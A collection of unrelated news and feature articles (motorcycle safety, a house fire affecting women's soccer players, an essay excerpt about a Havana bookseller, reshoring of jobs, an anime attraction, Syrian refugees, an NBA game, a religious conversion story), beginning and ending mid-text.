to those who buy Hayabusas for first bikes. If you separate the skilled from the unskilled, what do fatality rates look like then?  Don’t underestimate the importance of answering these questions. One last statistic underlines the importance of gaining a greater understanding of motorcycle safety and using that knowledge to effect change. “One trend is clear from this data,” says Nolan. “And, it’s the most disturbing. Over the last 10 years, motorcyclist injuries and fatalities, controlled for number of vehicles and miles ridden, have significantly increased while the same numbers for car drivers has decreased.” Riding a motorcycle is getting more dangerous, and we need to do something about it.  Want to check out our data and see what conclusions you can draw? Here’s a spreadsheet detailing fatalities, registrations, rates, helmet use (in fatal accidents) and intoxication (in fatal accidents). I used this free map generator to make the maps. And below are our sources for this material. Help us get to the bottom of this.  Sources:  GHSA.org  Statista.com  CDC.gov  NHTSA.gov  WikiMedia.org
-Tiffany Weimer, left, and Tori Huster returned to scene of fire Monday. (Steven Goff / The Washington Post)  Around 9 p.m. Thursday, Tori Huster went downstairs to watch “Scandal.” Tiffany Weimer was in her upstairs bedroom, watching old episodes of “30 Rock” on her laptop and breaking in a new pair of soccer shoes.  In four days, they would report to Washington Spirit training camp at Maryland SoccerPlex ahead of the National Women’s Soccer League season. For a second year, Huster and Weimer were to live with the Eckerstrom family, which has hosted a half-dozen players since 2013.  On an otherwise ordinary night in Boyds, a bedroom community in Montgomery County, smoke detectors wailed on Aspen Dale Court. Huster saw the smoke. Weimer heard what she thought were doors slamming. It was, in fact, two explosions in the garage.  The players and three members of the host family, including the starting goalkeeper for Penn State’s NCAA championship team last season, scrambled for safety. Huster corralled the family’s dog and Foster, her 5-year-old Chesapeake Bay retriever. Weimer raced out in cleats.  The massive fire caused a section of the second floor to collapse onto the garage, burying a Porsche. It also scorched four cars parked in the driveway; two are unrecognizable. The heat peeled the paint off a neighbor’s house.  A firefighter suffered non-life threatening injuries. The cause is under investigation. Kurt Eckerstrom, a tech consultant who has lived with his family at the home since 2003, estimated reconstruction will take nine to 12 months.  “If the timing had been any different,” Huster said, “we could’ve lost a life. We were very lucky.”  The first day of training camp is a time to reconnect with teammates, meet newcomers and stretch stubborn muscles. For the Spirit, it was a time to begin workouts but also to console veteran players who, for the time being, will live in a hotel and attempt to rebuild personal lives.  The start of practice, Huster said, “helps take your mind off it.”  The other players were just beginning to learn details.  “We had no idea how serious it was,” Joanna Lohman said. “We were shocked.”  Said Coach Jim Gabarra: “Tiff and Tori were pretty shaken up.”  After practice Monday morning, Weimer, 32, and Huster, 26, grabbed a quick lunch at the SoccerPlex pavilion before returning to the burned-out house, which sits on a cul-de-sac beyond the northern edge of the sprawling recreational complex.  Insurance representatives and a TV crew were waiting. Kurt Eckerstrom was there in tall plastic boots, sifting through the wreckage. He and his wife, Pam, raised three daughters: Emma, who competed in track and field at Colgate; Dana, a freshman defender at the University of Mary Washington; and Britt, who anchored Penn State’s national glory last fall.  The family has followed the ups and downs of women’s pro soccer for more than a decade and, when the Spirit put out the search three years ago for volunteers to put up players on modest salaries, the Eckerstroms did not hesitate.  “They are the best of the best people,” Weimer said. “If they had to move into a trailer, we would come with them.”  Said Kurt Eckerstrom: “I would happily claim Tori and Tiff as my own daughters.”  Britt Eckerstrom, a Northwest High School graduate, was the first goalkeeper selected in the NWSL draft in January, taken by the Western New York Flash in the third round. She had planned to drive north last Wednesday for the start of practice, but housing arrangements were incomplete. So she decided to remain in Boyds for a few extra days.  Almost all of her belongings were packed inside a Volkswagen GTI parked close to the garage. It was charred to the frame. She ended up flying to Buffalo on Saturday.  Although the fire did not spread to the bedrooms occupied by the Spirit players, a fallen ceiling and water damage ruined most of their belongings.  A day later, Huster was able to recover jewelry. Weimer, an aspiring writer who penned an online guest column for The Washington Post during the 2015 Women’s World Cup, dug out seven journals chronicling her life since college. Both hope to recover photos stored on their laptops. Their cars were destroyed.  Over the weekend, the team took them to Dick’s Sporting Goods for new clothes and shoes. SoccerPlex staff raised money for gift cards.  Anthony DiCicco, son of former U.S. women’s national team coach Tony DiCicco, launched a GoFundMe campaign. By late Monday afternoon, donations had surpassed $28,000.  Asked about the generosity of the local and national soccer community, Huster failed to hold back tears. “I get chills,” the Cincinnati native said.  “I didn’t even think people liked me that much,” said Weimer, who is from Connecticut.  She added: “You don’t realize how much you can help somebody until you need to be helped. It takes special people to act.”
-Translated by Lisa Carter  Eliezer was one of the first people I met in Cuba. It was 2002, and a Princeton professor by the name of Peter Johnston—the epitome of a WASP: very white, tall, thin,  serious, with blue eyes that stared intently ahead, expressionless—had invited me to accompany a group of students to the island. Peter had been traveling to Havana for years and knew many of its writers. He took me to Antón Arrufat’s house; to Reina María Rodríguez’s rooftop; to visit a young novelist who had just won a prize for his novel El paseante cándido. “That Peter knows everyone. Word has it he’s CIA,” a friend would later confess.  “You’ve got to meet Eliezer—he’s the best bookseller in Havana,” Peter Johnston said one day.  We took a taxi to El Vedado, got out in front of the Coppelia ice cream parlor, and walked until we reached an entrance on L Street bordered by four simple pillars. We knocked, and a voice from inside shouted: “It’s open!”  Article continues after advertisement  Upon entering, we found ourselves in someone’s living room: there were lace curtains, dusty and lit up by a neon sign; porcelain figurines—angels and shepherds; and, in the middle of the room, an older couple sitting in rocking chairs, watching one of those big old cabinet television sets. They must have been about sixty. She was in a bathrobe; he was wearing shorts and a muscle shirt that rose up to show his hairy belly.  “Eliezer?” Peter asked, getting straight to the point as always, wasting no time on useless pleasantries.  We must have come to the wrong place, I thought. Weren’t we coming to see a bookseller? This was an old couple’s home, and it smelled musty.  The man paid no attention to us and remained fixed on the TV, but his wife replied without looking at us: “In the back, down there, see,” pointing to a door at the far end of the room. The image onscreen was blurry, in black and white, of a news anchor.  We crossed the living room, passing between the old couple and the television, came to the door, and walked into a bedroom. There, sitting on a chair, surrounded by piles of books stacked on the floor—some of the heaps reached as high as the ceiling—was Eliezer, a very handsome young man, about thirty years old, with thin, dark eyes and classic Arab features. Must be of Lebanese descent, like so many Cubans, I thought. His gaze was intense, his smile mischievous.  Article continues after advertisement  “Peter,” Eliezer said, as if he had been expecting us. “I got a first edition of Paradiso for you.”  “We already have it,” Peter replied drily.  “I also got a real gem for you,” Eliezer went on as he rummaged through one of the piles. “Wait until you see this.”  He pulled out a book seemingly at random and passed it to Peter. I was amazed the tower of books hadn’t come down with it. “Look at this gem. You won’t find another copy in Cuba, or anywhere else in the world most likely. It’s the album from Saddam Hussein’s visit to Havana in 1979. Wait until you see this picture. Look: Saddam with Fidel and Raúl. Can you imagine? Take it . . .”  Eliezer was asthmatic and would run out of breath halfway through a sentence: he paused to inhale, and the constant interruptions lent a breathy, mysterious quality to the conversation: “Look at this . . . eeegh . . . Can you imagine . . . eeegh . . . that dictator . . . eeegh . . . here in Havana?”  “How much?” Peter asked.  “For you . . . fifty dollars. I’m giving it away.”  “Fine,” Peter said. “And have you got any material on churches? I’m interested in documents about Protestant churches in Cuba—pamphlets, fliers—for the Ephemera Collection at Princeton.”  “Not right now, but I’ll get some for you. What I do have is this. Look: Los siete contra Tebas, the banned book by Antón Arrufat. An autographed copy.”  “We already have it,” Peter said.  “This is the essay that won the Casa de las Américas Prize this year. It sold out, but if you see here—”  “I’m only interested in Protestant church pamphlets.”  I listened to the conversation and the haggling while contemplating, in amazement, the piles of books all around me. There wasn’t a single bookshelf or a single cabinet in the entire room, just towers of novels, books of poetry and essays. How many? A thousand? Two thousand? A lot, in any event. And Eliezer seemed to know the inventory of these insane depths by heart: he could find a book and pull it out of a stack in a matter of seconds.  “I’ll come back tomorrow for those Protestant pamphlets,” Peter said.  “Come whenever you like . . . eeegh . . . You know I’m always here.”  We walked back through the living room, the old couple still in exactly the same place, their eyes still glued to the TV. “Revolution is construction,” a voice announced over images of workers pouring concrete.  *  Out in the street, as we walked back to the Hotel Habana Libre, Peter told me about Eliezer. He had been studying history at the University of Havana, but his studies were interrupted during the Special Period, when there was also no power at the university and no food in the student cafeterias. It was during those desperate times, when everyone had to invent some way to survive, that he began to sell books, first on a sidewalk in the El Vedado district and then in the Plaza de Armas. He did so well that, within a few months, he was able to rent a room from the old couple to receive customers somewhere a little more discreet, because at the time it was illegal to run a business.  A clandestine bookstore! I recalled how Eliezer had kept his voice low and would glance at the door as he showed us his treasures. I also remembered how, upon arriving at the airport, the customs agents had checked every one of my books and written docs on my baggage tag: they were looking for book smugglers, the way customs agents in other countries pursue drug smugglers. Books instead of drugs: one of the many peculiarities of this island, a paradise for bibliophiles.  *  The next day at the breakfast buffet, a hotel employee handed me a note from Peter. As was his custom, he had written it on Princeton letterhead:  “I forgot to tell you that, for legal reasons, it is ABSOLUTELY FORBIDDEN to ride in three-wheeled vehicles. They are extremely DANGEROUS and university insurance does not cover accidents that occur while in them.”  Three-wheeled vehicles? It took me a minute to understand that Peter was referring to cocotaxis, those yellow motorcycles with a Pac-Man-shaped cab, which were the most entertaining, efficient way to get around Havana: they race along the Malecón, transporting fair-haired tourists, long hair blowing in the breeze. Oh, Peter! I thought.  I left the hotel, flagged down a cocotaxi, and asked the driver to take me through the streets of Centro Habana. He was a strapping twenty-five-year-old, with muscular brown arms, sculpted in the gym of life. Like so many Cubans, he radiated sexual energy. He told me that he drove a cocotaxi three days a week and a regular taxi the other three days.  “Which do you like better? The cocotaxi or the regular?” “I prefer the regular taxi.”  “Why is that?”  “With a regular taxi, if a tourist gets in, I can take him wherever he wants to go, anywhere.”  “Anywhere?”  “I’m here to make the tourist happy. You get me?”  As he spoke, I stared at the black curls escaping from his helmet and the shapely biceps that flexed every time he turned the handlebars to change direction.  “And if I were to tell you to take me to Camagüey?” I asked. “To Camagüey? Well, that’s far . . . really far. We’d have to come to an agreement. Here, take my phone number.”  I noted his number—William was his name—as he sped us along the Paseo del Prado. In two minutes we were in front of Trocadero No. 162, one of those mythical addresses in the history of literature, like Boulevard Haussmann No. 102, or the corner of Río Guadalquivir and Reforma in Mexico City.  Trocadero: I had always imagined the street in an elegant section of Havana, like its Parisian namesake, which has a view of the Seine and is flanked by the mansions where so many of Proust’s friends lived. But the Cuban Trocadero was a dusty street in Centro Habana, full of crumbling buildings, with mountains of garbage on the sidewalk and shirtless kids sitting in doorways. It looked more like Africa than Paris.  José Lezama Lima’s home was now a small museum: three rooms that housed the writer’s furniture, paintings, photographs, and part of his library, locked away in sealed bookcases.  “May I consult the books? I’m actually writing about Lezama and Proust,” I said to an employee in a government uniform.  “Well, you can’t exactly consult them, no. You can, however, see them through the glass. The bookcases are sealed and can’t be opened.”  “Do you know if Lezama had Proust’s novel in his library?”  “Well, what we’ve got here are Lezama’s novels and the books he read, but not all of them. Some of them are at the National Library.”  So poor, this Lezama Museum! Especially in comparison to museums like the Louvre and the Metropolitan, those transnational storehouses of first-world culture, with their luxury buildings, with armies of employees and million-dollar budgets. And yet this little and lonely museum—with its three employees in khaki uniforms and cats prowling the courtyard—seemed somehow more authentic. You could feel Lezama’s spirit here.  The employees watched with curiosity as I studied the titles sealed away in the bookcases. No Proust. When I was done, the girl who sold tickets—in the same khaki uniform—asked:  “Where are you from?”  *  After leaving the Lezama Museum, I spent hours wandering through Centro Habana, dodging piles of rubble, motorcycles, and taxis. “Oyeee, oyeee” could be heard everywhere, and—as always happens whenever I walk through this neighborhood—I felt immeasurably happy to be surrounded by blacks and mulatas, old women sitting on stoops, and jineteros hustling boys, girls, cigars, pirated music, and almost everything else.  I walked back to the hotel, all along the Malecón, passing by Maceo Park and the Hotel Nacional de Cuba. By the time I got to La Rampa, I had decided to pay another visit to Eliezer and went through the ritual I had learned from Peter: I knocked on the door, said hello to the old couple, walked through the living room, past the television, until I reached the door at the end. Eliezer walked up to me with a bright white smile and held out a hand as he said: “Look what I’ve got for you. First edition of Virgilio Piñera’s short stories, published in Buenos Aires. It’s the only copy anywhere in Havana. And not only that: look at this dedication. ‘To my friend Gombrowicz, with admiration from your Cuban disciple. Buenos Aires, May 1954.’ It’s dangerous for me to have a treasure like this here: someone might steal it. You take it.”  The price—two hundred dollars—was more than I had left for the rest of my trip, but Eliezer didn’t give up. He opened two folding chairs that were propped in a corner; we sat down, and he continued to propose treasures.  “Look here,” he said. “It’s a book of poetry by a lost Origenista. Have you read María Zambrano? You can’t get anything of hers in Cuba, but I’ve got a novel that came out in Mexico. And look at this: the speech Carpentier gave at the Pioneers’ first youth congress in ’63. Can you imagine? Not even the Fundación Alejo Carpentier has a copy. A friend brought it to me, an old guy who knew Carpentier, went to the event with him, and kept one of the handouts. The great Neo-Baroque novelist speaking to a bunch of twelve-year-olds. Do you think they understood a word he said?”  Eliezer’s little room was a library of Babel that seemed to contain the entire canon of Cuban literature. You only had to mention an author from the island—Julián del Casal, Gertrudis Gómez de Avellaneda, Lydia Cabrera—and, as if by magic, he would pull out a copy that also had a whole story around it: a first edition, signed by the author, a bookplate from a famous collection, a banned work, an avant-garde journal published in a far-off province . . . Among the thousands of tomes, there were a few treasures: books by Guillermo Cabrera Infante, Reinaldo Arenas, Severo Sarduy, and other exiled writers.  “I don’t show this to anyone,” he would say as he surreptitiously pulled a book out from under a chair or behind a curtain. “Look at this treasure: Pájaros de la playa, Sarduy’s posthumous novel about his illness. Did you know he died of AIDS? A friend brought me this from Spain. I don’t know how he got it through customs. If they’d caught him, they’d have arrested him. Can you imagine? It’s the story of an island full of terminal patients, young men aged by disease . . . the bomb. This book, it’s a criticism of the UMAP camps and what the government did to gay men in the eighties: lock them up. If they ever find me with this, they’ll lock me up, too.”  Apart from being Babelic, Eliezer’s bookstore was also mono-thematic: every single book about Cuba was there, but nothing else. There wasn’t a single foreign author, unless it was a Hemingway or a Humboldt who had written about the island. Carlos Fuentes? From the look on Eliezer’s face, I suspected he had never even heard of him. Borges? “No, never had a book by Borges here . . .” Vargas Llosa? “A year ago someone brought me a copy of Conversación en la catedral, but, being a banned book, it didn’t last long. I sold it for a mint. Have you ever seen Fresa y chocolate? In the sixties, we Cubans could recite the first page of Conversación by heart: it was a form of protest.”  We were chatting like this when I heard a door close behind me. Eliezer stood up.  “Well, look at that. I didn’t think I’d ever see you here again,” he said to the visitor.  As I turned to see who had come in, I came face-to-face with a six-foot-five blond, with a gymnast’s body and a pair of impres- sive biceps, who looked like he had just stepped off the page of Vogue Italia or International Male. Bronzed skin, long hair, blue eyes, and muscles everywhere. Was he Swedish? Norwegian? Danish? A Nordic athlete? A Scandinavian bodybuilder?  Apart from being Babelic, Eliezer’s bookstore was also mono-thematic: every single book about Cuba was there, but nothing else.  “You speak Spanish?” I asked.  “Sí,” the Viking replied. “Michael,” he said, offering his hand. “And where are you from, Michael?”  “I’m from Granma.”  Granma?  In the region of Oriente, over five hundred miles away, is the beach where Fidel Castro disembarked before heading into the Sierra Maestra mountain range: he arrived on board a yacht called Granma, which he had bought from an American in Mexico, and after the Revolution, the province was named after it, as were the official newspaper and many other things in Cuba. The American had chosen that name in honor of his grandma. And so the yacht—which is on display at the Museum of the Revolution— the newspaper, the province, and even this Viking continue, to this day, to honor that little old lady who, unbeknownst to her, became the grandmother of the Cuban Revolution. How many great things had been given to this island by that anonymous grandma? “From Granma? But you look Swedish. Is your family Scandinavian?” I asked, expecting a story about Communist parents who had come to Cuba to support the Revolution.  “Huh? Swedish? No. I’m from Granma. My family is from Granma.”  Maykel—I later learned that’s how his name was spelled—had a hick accent and when he spoke he filled the room with fresh country air.  “From Granma, but I moved here for work.” “What do you do?”  “I’m a baker,” Maykel said.  Maykel was wearing a tight sleeveless white T-shirt that delineated every muscle in his back. The very spectacle of that body—freckled shoulders, triceps, long arms—made me dizzy.  Eliezer had observed our interaction in silence, his smile dripping with irony. How did he know Maykel? This baker did not look like a bookworm.  “Tell me about Granma,” I said. “What’s life like there?”  “Well . . . I live in the country there. It’s not like here in Havana. It’s different.”  Maykel told me that he had left Granma because of a girlfriend; she was so jealous that one day she found him talking with the neighbor and went crazy. She went into the kitchen for a knife and threatened him, screamed that she would kill them both, but then, no, she would kill herself, and Maykel had to tackle her to get the knife and stop her from slitting her wrists. She made such a scene that the police came and nearly arrested all three of them. The girlfriend was a lost cause, so he decided to move to Havana.  “I didn’t do anything wrong. I was chatting with the neighbor. But my girlfriend doesn’t understand. Muchacho, the problem is that there in Granma, everyone stares at me. It’s not my fault; it’s just the way it is. I go out, and people stare, and the girl loses it. That’s why I came to Havana.”  “And people here don’t stare at you?” I asked.  “Well, yeah. They stare here, too. But at least no one’s monitoring my every move.”  “What do you mean, people stare?” I insisted.  “Just that. If we were to go out now, you’d see: people stare at me.”  “Let’s go see what that’s like. A guajiro peasant from Granma walking around El Vedado, and people staring at him,” Eliezer said with the same enthusiasm as when he talked about books. “A baker from Granma strutting down La Rampa. We have to see that.” Maykel smiled in amusement at Eliezer’s words.  The three of us left the room—the old couple was still glued to their TV—and headed out into the street. Night was falling and the sky had clouded over with birds heading to roost in the trees of El Vedado. Just before we reached La Rampa, as we walked past the Cine Yara, Maykel said: “Walk behind me so you can see how people stare.”  Eliezer and I let Maykel walk a few steps ahead. He moved as if he were a runway model, strutting through the crowds: cute couples on their way to the movies, office workers waiting for the bus, students on their way to Coppelia for ice cream. Maykel wiggled hips and shoulders, but—despite his handsome, muscular physique—there was something awkward about the way he moved. He was much sexier when he stood still and said nothing. When he walked, he looked like a robot, a bad actor bumbling across the stage. Maykel paraded to the corner, then stopped and turned around.  “Did you see how people stared?” he asked with pride.  But in fact—poor Maykel!—no one had even looked at him. The streets were teeming with sexy, athletic, seductive bodies; amid all that beauty, Maykel had passed unnoticed.  *  The following day—my last before returning to New York—I went back to visit Eliezer.  “I got you another book by Severo Sarduy,” he said upon seeing me. “Look: erotic sonnets that hide pornographic scenes. Do you know how it begins? ‘Omítemela más.’ Can you imagine? Omission becomes a synonym of penetration. Take it . . . you’d be doing me a favor. Can you imagine if the police found this here?”  “And Maykel?” I asked.  “The baker from Granma is probably out jineteando, chasing after foreigners,” he said with his impish smile. “That’s what the entire province lives off: jineterismo, hustling.”  I told him it was my last night in Havana and said, “Let me take you out for dinner. Peter recommended a family-run paladar nearby.”  Eliezer grew serious and replied, “I don’t go to restaurants with foreigners.”  “What, do you think I’m going to rape you? We’re going to dinner, not to a brothel.”  “I’ve never been to a restaurant. On principle.”  “Principle? I don’t know what you’re thinking, but I’m inviting you because I like you, I like talking to you. We’d continue the conversation over a glass of wine and a plate of croquetas. The paladar’s nearby, up on a rooftop filled with shaded plants. We’ll sit outside, and you can tell me more about Maykel and your books.”  “I never eat at night,” Eliezer said, his expression unchanged. “And I’m not going to a restaurant.”  There was no way to convince him.  I gave him a hug and said good-bye. That night, as I ate alone at the Hotel Habana Libre restaurant—an enormous room with a socialist vibe, full of pasty tourists and waiters dressed in black bow ties—I thought of Eliezer a few blocks away, eating all alone in his little book-filled room, as the old couple sat, still glued to their television.  __________________________________  Excerpted from the essay “Sodom’s Bookstore,” from CUBA ON THE VERGE: 12 Writers on Continuity and Change in Havana and Across the Country, edited by Leila Guerriero. Copyright © 2017. Excerpted by permission of Ecco, an imprint of HarperCollins Publishers.
-The actual number of jobs outsourced offshore will continue to creep up, but especially in the United States, the new wave of outsourcing and relocating jobs is happening at home.  Leading the reverse trend are the kinds of jobs that are considered core to the business, requiring higher skills and training than what is typically available offshore. Some high-level jobs that were originally sent offshore brought poor results—those jobs are coming back first.  A decade ago, when consultants such as Boston Consulting Group insisted that not outsourcing offshore was tantamount to missing out on a major strategic benefit, many kinds of jobs were moved offshore. As the American economy tightened, offshoring became a rush, to generate what was thought to be immediate cost-benefits.  But now, many companies are reversing earlier offshore outsourcing decisions, for skilled jobs as well as regular manufacturing work. U.S. businesses are recognizing that cheap, exploited foreign labor is only a short-term expedient. The recent lead-based paints and tainted-milk scares in China, and similar problems in other countries, brought this recognition: If other countries had to comply with the same environmental laws and safety regulations, the costs would substantially increase.  Meantime, Chinese labor costs are rising about 15 percent to 20 percent a year. That makes producing goods in China not nearly as cheap as it used to be. For many manufacturers, that narrowing is enough to tip the balance back to U.S. plants. This led them to question whether some work could be outsourced closer to home where inflation is low and the economic climate is more predictable. There are domestic outsourcing alternatives that are both financially sound and good for American workers.  And BCG too is reversing earlier advice: When currency fluctuations and rising wages in emerging markets are factored in, the United States is becoming a lot more attractive. Beyond just high-tech jobs, many American businesses are bringing jobs home again. Here are some examples:  1. NCR has hired about 500 workers to build ATM machines and self-service checkout systems at a Columbus, GA. plant, and it plans to add another 370 jobs by 2014, building products that were formerly produced at plants in China, Hungary and Brazil.  2. Greater quality was the major factor cited by Carbonite for moving back jobs to the United States. Its call center in India was having turnover of 100 percent or more each year, compared with just single-digits in the Boston call-center. The U.S. base provides much better service and customer satisfaction.  3. GE has reopened a Louisville plant that had been closed for decades, based on the fact that it’s no longer as expensive to hire U.S. workers.  The industrial automation business has examples of the reverse trend—offshore companies with local offices and skilled staff offering services to American customers. India-based control systems integrators are offering software development, systems integration and local service support at hourly-rates that most U.S.-based SIs cannot compete with. Some successful systems integrators and service companies that have plenty of work in the hopper are considering outsourcing to these “local” services to reduce costs, supplement their own staff and improve competitiveness. As this trend develops, the emergence of some multi-national hybrid businesses is inevitable.  As the cost gaps narrow in the coming years, this “re-shoring” trend is likely to grow. In American job markets where hiring has been stalled, offshoring repatriation is an encouraging sign.  Jim Pinto is an industry analyst and commentator, writer, technology futurist and angel investor. You can e-mail him at: jim@jimpinto.com. Or review his prognostications and predictions on his Web site: www.JimPinto.com.
-Universal Studios Japan is formally opening its new Attack on Titan attraction on Friday. “ Attack on Titan The Real” is part of the Universal Cool Japan event (along with Evangelion , Resident Evil and Monster Hunter ) which will run between January 23 and May 10. Musician and well-known Evangelion fan HYDE was among the celebrities who attended Thursday’s opening ceremony. The Mainichi Shinbun paper’s MaiDiGi filmed the opening:  The “ Attack on Titan The Real” collaboration recreates the world of Hajime Isayama ‘s Attack on Titan manga and anime. The attraction features a full-size, 15-meter (about 49-foot) Eren Titan — the first of its kind in the world, according to the theme park — as well as a 14-meter (46-foot) female Titan. Visitor can witness the Titans locked in fierce combat from the perspective of SurveyCorps members.  The attraction also lets you experience the traumatic scene with Eren’s mother in the first episode. For its reenactment of the operation to capture the female Titan, the attraction uses Clone-oid, “the world’s most advanced technique to recreate humans.”  Universal Studios Japan is serving “Survey Corps’ expeditionary rations” with bacon, a potato, black tea-flavored bread, and soup (for leaders) or just a potato, bread, and soup (general issue for regular soldiers). Also available are company black tea and colossal Titan mousse, complete with a blade.  Universal Studios is selling Survey Corps cloaks, 3D Maneuver Gear bracelets, and cellar key pendants and more.  Comic Natalie posted more photographs from the Attack on Titan , Evangelion , Resident Evil and Monster Hunter attractions. Niconico streamed the opening ceremony, and the Minna no Evangelion Fan site sampled some of the live footage from Evangelion 4D attraction. Kotaku attended the press preview and sampled the dishes.  Source: Comic Natalie  Featured image: Twitter @ichigohime727  More from Anime News Network
-Long before the exodus from Syria to Europe reached its current peak, an untold number of mostly young male asylum-seekers embarked on the journey as a kind of advance party. One of them was Hussein Ahmad.  Even before that, the route into Europe had already been well used by many, including Iraqis fleeing the carnage of their own civil war. Then, with few welcoming places left in the Mideast, Syrians started to take the route to find European refuge, hoping their families could later follow.  Back then, before the entire world got a glimpse, it was an even longer and riskier journey.  Still, Ahmad was desperate. Home was Raqqa, the seat of power for ISIS. The group had imprisoned him twice for not being observant enough.  The third time they came to his house, he fled out the back door, and the next day was using a way out that would later be successfully used by his wife, Amal, and his two small children — and tens of thousands of other Syrians — to get to Germany.  Last Friday, after a year and a half apart, the family tearfully reunited on Platform 25 of Munich's central train station.  "I'm very, very happy my family reached me, thank God," he said, beaming. "I thank the German government."  A handful of other men stood watching. With no sight of their own loved ones they walked away, clearly disappointed. At least two of them said they too had arrived months ago, using the same route.  Chance of a lifetime  Fathers, sons and husbands who made the journey many months ago are waiting in places like Germany and Sweden for families to follow. It's yet another major pull for many Syrians now making their way to, and across, Europe.  Encouraged by news of the happy reunions and warm welcome in Germany in the past week, many more have left Syria, Iraq, Turkey, Lebanon and beyond, to make the same journey. In my calls to colleagues in Baghdad and Beirut, there are suggestions the flow is about to surge.  For those who have yearned for a better life in Europe, this is the chance of a lifetime.  But the window for a happy conclusion to the story for those now en route may be closing.  The Ahmads are lucky. Their reunion predated word that Germany was starting to strain under the influx it had invited, and they just missed by days the decision to temporarily impose controls at the border with Austria and to send 2,100 riot police to secure it.  Their reunion also comes before tough new Hungarian laws come into effect this week, aimed at stemming the stream of asylum seekers walking across its border, and likely scuttling the plans of thousands trying to get to Germany.  What happens to the refugees currently making their way across Europe when the flow is interrupted, as it inevitably will be, is unclear.  Thousands could soon be stranded  Today, EU member states will be discussing a proposal to more evenly spread the already arrived refugees among them. The idea for a mandatory refugee quota, presented at the European Parliament last week, suggests members resettle 160,000 between them.  Besides the criticism that the number falls far short of what's necessary, working against this proposal will also be the significant differences of opinion among EU members.  Most governments in Europe's East, as well as the U.K., balk at the idea of anyone telling them how many refugees to take in, if any at all. So do many of those countries' citizens, some of whom have erupted in protest to make their anti-refugee views known.  All this means, at some point soon, there will be many more refugees languishing in Europe than apparently anyone is willing or able to cope with.  The first major foreseeable bottleneck will be Hungary's inhospitable border with Serbia. Thousands could become stuck there as winter approaches — kept out by Hungary's new laws, a new fence, and also, if its parliament approves, the deployment of the Hungarian army.  With rail services also more or less shut down now from Budapest to Munich, new routes will surely be sought out, which will affect more countries, and could be more dangerous. Smugglers who were sidelined when Germany and Austria threw open their borders could thrive again.  That carries its own dangers, as we saw with the suffocation of more than 70 refugees in the back of a truck discovered in Austria.  Thousands will likely find themselves stranded in or near countries that do not want them.  Who will then care for the refugees several borders short of their destination and their loved ones?  Read more about the refugee crisis:
-Oklahoma City Thunder guard Russell Westbrook (0) shoots in front of Indiana Pacers forward Solomon Hill (44) during the first quarter of an NBA basketball game in Oklahoma City, Tuesday, Feb. 24, 2015. (AP Photo/Sue Ogrocki) (Photo: Sue Ogrocki, AP)  OKLAHOMA CITY – Even when expecting an offensive flurry and the torrent of noise cascading down from the cheap seats inside Chesapeake Energy Arena, the anticipation isn't enough to actually endure the blows.  In the quiet time before Tuesday night's game, the Indiana Pacers had prepared for everything that makes the Oklahoma City Thunder one of the most feared home teams in the NBA.  But then, Russell Westbrook shrieked and scored. The Thunder splashed 3s. The sold-out arena went unhinged and the Pacers, for the first time in more than a month, digested a blowout defeat, 105-92.  BOX SCORE: Thunder 105, Pacers 92  Indiana never held the lead and by the fourth quarter had fallen into a 23-point deficit even before coach Frank Vogel emptied the bench of his DNP crew to finish the game.  "I don't remember the last time," C.J. Miles said, referring to the team being on the wrong end of a big loss. Miles would have had to think all the way back to the Jan. 21 game in Atlanta to recall that bad memory.  Through February, the Pacers had won seven of eight games and pulled within half a game of the last spot of the playoffs. However, the trip to Oklahoma City stalled this run as the Pacers (23-34) couldn't withstand a devastating 24-5 run that stretched from the third quarter to the opening minutes of the fourth.  This wave all started after Miles knocked down a 3-pointer that pulled the Pacers to within 65-64 with 4:32 remaining in the third quarter. Then, Westbrook responded by either scoring or facilitating the Thunder through the rough patch and solidifying his triple-double (20 points, 11 rebounds, 10 assists) with more than 2 minutes still left in the third.  "We did mention some of the guys could get red hot," Ian Mahinmi said. "We did mention the Russell Westbrook pick-and-roll game, and some of the stuff we could control, we didn't go a great job."  The depth of the Thunder, now 9-1 through February, has carried the team through a season of injuries. Both teams have felt their share of pain, but while Indiana's have subsided – every injured player but Paul George has returned to the lineup – Oklahoma City remains in recovery mode. Kevin Durant, the reigning MVP, missed his third straight game and recently needed surgery to reduce pain in his surgically repaired right foot. Then, before Durant even arrived in the arena on Tuesday night, wearing a walking boot, the team announced that newly acquired Steve Novak had undergone an appendectomy. Thunder players have now missed 152 total games this year.  "A lot of punches thrown at us this year," Oklahoma City coach Scott Brooks said. "But we're still standing."  The Thunder stand because Westbrook's sheer energy and will command them to. In the first quarter, after he attacked the rim, Westbrook had already entered gonzo mode, flexing and yelling at the crowd as he strutted back to his sideline.  "He's the motor of that team and just what he means to that team speaks for itself," said George Hill, who had to spend time tracking Westbrook. "I think he's one of the top players in this league, for sure."  By the fourth quarter, Westbrook turned into the craziest cheerleader in the house. Since no Thunder starter played a single minute in the final frame – their work for the night was over after opening an 80-69 lead at the end of the third – Westbrook could celebrate the round of 3-pointers the Thunder bench drilled in three consecutive possessions. From that knockout punch, the Thunder led by 20 points and the Pacers would soon turn their attention to Friday night.  "We have to play better to beat a really good team in their building," Vogel said. "Even without KD, they're a really good team. We didn't play well enough and we have to regroup and go after Cleveland."  Call Star reporter Candace Buckner at (317) 444-6121. Follow her on Twitter: @CandaceDBuckner.
-ST. LOUIS, Mo. — A former lesbian turned Christian is coming out about her conversion from living as a homosexual, and is testifying about the power of God to change a life.  Jackie Hill Perry, 25, is a spoken word poet, and is expecting her first child, a girl, next month along with her husband, poet Preston Perry.  “I think we’ve made God very little if we believe that He cannot change people,” Perry declared on Wade-O Radio last year. “If He can make a moon, stars and a galaxy that we have yet to fully comprehend, how can He not simply change my desires?”  Perry has become increasingly outspoken about her testimony, as she was once in romantic relationships with other women. The poet says that she was sexually abused at age five, and as a result, developed gender confusion throughout her youth, not knowing if she wanted to identify as a man or a woman. However, she hid her urges as her family attended a church that had biblical beliefs about morality.  In her late teen years, Perry began experimenting with homosexuality, and became sexually active with a girl. She continued in this lifestyle, moving on to a second girlfriend, who encouraged her to dress more masculine. Perry also frequenting “gay” clubs and attending homosexual pride events.  But in 2008, at age 19, she became convicted about her behavior, and she knew that she was heading down the wrong path. Perry said that God spoke to her one day as she lay in bed, the day after she had engaged in sexual activity with her girlfriend.  “The girl who you’re with will be the death of you,” she recalled Him saying. “At that time, my eyes were opened to that it wasn’t just homosexuality that would be the death of me. It was my complete and entire lifestyle. It’s not just, ‘You’re gay. You’re [also] lustful, you’re prideful, you’re a thief, you’re rebellious, you’re a masturbator and you’re a porn addict.’ I saw all of these things that deserved Hell and I really believed and saw that God would be just in sending me there.”  Connect with Christian News  Follow @4christiannews  “The Scriptures came alive to me,” 